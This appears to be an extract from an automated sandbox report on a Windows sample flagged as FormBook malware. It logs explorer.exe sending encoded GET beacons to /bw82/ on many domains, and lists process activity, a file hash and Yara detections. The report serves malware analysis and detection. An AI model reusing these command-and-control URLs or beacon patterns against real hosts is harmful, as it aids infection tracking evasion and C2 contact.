31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 
46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72
3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 
41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 
30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 
3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3
c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 
30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 
75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 
73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 
68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 
3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 
20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 
20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 
72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 
23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 
64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 
65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 
31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 
20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 
30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 
22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 
6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 
2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 
3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 
Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, 
initial-scale=1, shrink-to-fit=no" ><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 
14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; ">     
<div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">        <h1 style
="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">
Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; 
font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;
background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br
>Proudly powered by  <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a>
<p>Please be advised tha

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.3 49731 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
09:00:38.674968004 CET

1550 OUT GET /bw82/?L6Ah=2dPLKjuxNzghip&2dspCJ=G5V/jI1lXUWhm2/po/i12Eg93VLS1Yw8/s5fANqQYS1eyL2v/Zzy
Mw3Ygf/31m6ddEJO HTTP/1.1
Host: www.ramjamdee.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Feb 23, 2021 
09:00:38.814054966 CET

1554 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Tue, 23 Feb 2021 08:00:38 GMT
Content-Type: text/html
Content-Length: 275
ETag: "603155b8-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.3 49737 34.102.136.180 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
09:00:43.964195013 CET

2168 OUT GET /bw82/?2dspCJ=AJ+QNFfpTCGoeNdN3oQHABBFVni950JEMBWacmvnp29IOaric6KDWsJikAvcMmAxBpMV&L6A
h=2dPLKjuxNzghip HTTP/1.1
Host: www.rizrvd.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Feb 23, 2021 
09:00:44.103739977 CET

2168 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Tue, 23 Feb 2021 08:00:44 GMT
Content-Type: text/html
Content-Length: 275
ETag: "603155b8-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.3 49738 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
09:00:49.240714073 CET

2172 OUT GET /bw82/?L6Ah=2dPLKjuxNzghip&2dspCJ=7KG5rMnJQVi61jAewyvwq06b8xrmRTVdiDIOhf904IMqwa5VOrK6
tjTZXar9S1Zs43DY HTTP/1.1
Host: www.gdsjgf.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Feb 23, 2021 
09:00:49.379719019 CET

2173 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Tue, 23 Feb 2021 08:00:49 GMT
Content-Type: text/html
Content-Length: 275
ETag: "603153c4-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.3 49744 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
09:00:54.503062010 CET

6106 OUT GET /bw82/?2dspCJ=ErYhPq0/zQvehGK9wS6+i9BP1HsxrMLlWLaBPkVFk6gJ3Rf5IPX3ZCPP9+b6hANSOkIk&L6A
h=2dPLKjuxNzghip HTTP/1.1
Host: www.climaxnovels.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Feb 23, 2021 
09:00:54.643258095 CET

6107 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Tue, 23 Feb 2021 08:00:54 GMT
Content-Type: text/html
Content-Length: 275
ETag: "603155b9-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.3 49745 154.80.226.18 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
09:01:00.252922058 CET

6109 OUT GET /bw82/?L6Ah=2dPLKjuxNzghip&2dspCJ=r3fdhBxfm/17hO+WGttpxejAYTJXJLNaeaIMUW/kEa9Q3oKyIBTj
Sr0cbQanu0dSY6cl HTTP/1.1
Host: www.thebabyfriendly.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Feb 23, 2021 
09:01:00.606403112 CET

6109 IN HTTP/1.1 200 OK
Server: nginx
Date: Tue, 23 Feb 2021 08:01:00 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 1.0

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.3 49746 52.128.23.153 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
09:01:10.922751904 CET

6110 OUT GET /bw82/?L6Ah=2dPLKjuxNzghip&2dspCJ=455EGVYP5nwn6UKaNruX/4AMFbR5eugGoFi+RSiFi9xq+Sc4S/7L
JuL4z/DBianrCvuj HTTP/1.1
Host: www.wellnesssensation.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Feb 23, 2021 
09:01:10.973952055 CET

6111 IN HTTP/1.1 463 
Server: nginx
Date: Tue, 23 Feb 2021 08:01:10 GMT
Content-Type: text/html
Content-Length: 8915
Connection: close
ETag: "5e52d3c2-22d3"
X-DIS-Request-ID: 8829058ea78309a76b89162ecd6786d9
Set-Cookie: dis-remote-addr=84.17.52.38
Set-Cookie: dis-timestamp=2021-02-23T00:01:10-08:00
Set-Cookie: dis-request-id=8829058ea78309a76b89162ecd6786d9
X-Frame-Options: sameorigin

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.3 49747 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
09:01:16.127204895 CET

6121 OUT GET /bw82/?2dspCJ=qtQC6ueLh9SPHvPoeB2W7XMv4DHg8NEty8uJPphl3NdNxxbo+oCUuV5k45UTpNkEWHc7&L6A
h=2dPLKjuxNzghip HTTP/1.1
Host: www.gallerybrows.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Feb 23, 2021 
09:01:16.266371012 CET

6121 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Tue, 23 Feb 2021 08:01:16 GMT
Content-Type: text/html
Content-Length: 275
ETag: "6031584e-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.3 49750 198.185.159.144 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
09:01:27.236773014 CET

6141 OUT GET /bw82/?2dspCJ=cQgJWKf8RQ1tgXmhpNlNvU1Wcwt7yBWYkRci+XoIvJPaxwQIB73a/eHibjyZxTY12AhF&L6A
h=2dPLKjuxNzghip HTTP/1.1
Host: www.usmedicarenow.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Feb 23, 2021 
09:01:27.410075903 CET

6142 IN HTTP/1.1 400 Bad Request
Cache-Control: no-cache, must-revalidate
Content-Length: 77564
Content-Type: text/html; charset=UTF-8
Date: Tue, 23 Feb 2021 08:01:27 UTC
Expires: Thu, 01 Jan 1970 00:00:00 UTC
Pragma: no-cache
Server: Squarespace
X-Contextid: lqHZDjYv/YoSYJ3JA
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 
42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 
72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 
6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 
20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 6
1 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 3
0 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 
61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 
3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 
0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 
2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 
20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 
65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 
65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 
61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 
23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 
62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 
20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 
73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 
74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 
66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 
74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3
b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 
68 74 3a 20 32 65 6d 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69 
6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 
Data Ascii: <!DOCTYPE html><head>  <title>400 Bad Request</title>  <meta name="viewport" content="width=device-
width, initial-scale=1">  <style type="text/css">  body {    background: white;  }  main {    position: absolute;    top: 50%;    
left: 50%;    transform: translate(-50%, -50%);    text-align: center;    min-width: 95vw;  }  main h1 {    font-weight: 300;    
font-size: 4.6em;    color: #191919;    margin: 0 0 11px 0;  }  main p {    font-size: 1.4em;    color: #3a3a3a;    font-weight: 3
00;    line-height: 2em;    margin: 0;  }  main p a {    color: #3a3a3a;    text-decoration: none;    border-bottom: solid 1px 
#3a3a3a;  }  body {    font-family: "Clarkson", sans-serif;    font-size: 12px;  }  #status-page {    display: none;  }  footer {    
position: absolute;    bottom: 22px;    left: 0;    width: 100%;    text-align: center;    line-height: 2em;  }  footer span {    
margin: 0 11px;    font-size: 1em;    

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.3 49751 34.102.136.180 80 C:\Windows\explorer.exe
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Code Manipulations

Statistics

Behavior

• vBugmobiJh.exe

• vBugmobiJh.exe

• vBugmobiJh.exe

• explorer.exe

• netsh.exe

• cmd.exe

• conhost.exe

Click to jump to process

System Behavior

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
09:01:32.535267115 CET

6164 OUT GET /bw82/?L6Ah=2dPLKjuxNzghip&2dspCJ=kkzs7wdk+a5EmvlejfiLHnYXY/z1ZZpbk/A0waQQyoH3vrpc5BJX
UH7YClYSBXJaDwsI HTTP/1.1
Host: www.activagebenefits.net
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Feb 23, 2021 
09:01:32.674674034 CET

6164 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Tue, 23 Feb 2021 08:01:32 GMT
Content-Type: text/html
Content-Length: 275
ETag: "603155b8-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Start time: 08:59:23

Start date: 23/02/2021

Path: C:\Users\user\Desktop\vBugmobiJh.exe

Analysis Process: vBugmobiJh.exe PID: 5108 Parent PID: 5676Analysis Process: vBugmobiJh.exe PID: 5108 Parent PID: 5676

General
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File ActivitiesFile Activities

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\vBugmobiJh.exe' 

Imagebase: 0x2d0000

File size: 484864 bytes

MD5 hash: 5B59E521935E56A03255623DF51C1631

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000001.00000002.229831410.00000000026F1000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000002.230287817.00000000036F9000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000002.230287817.00000000036F9000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
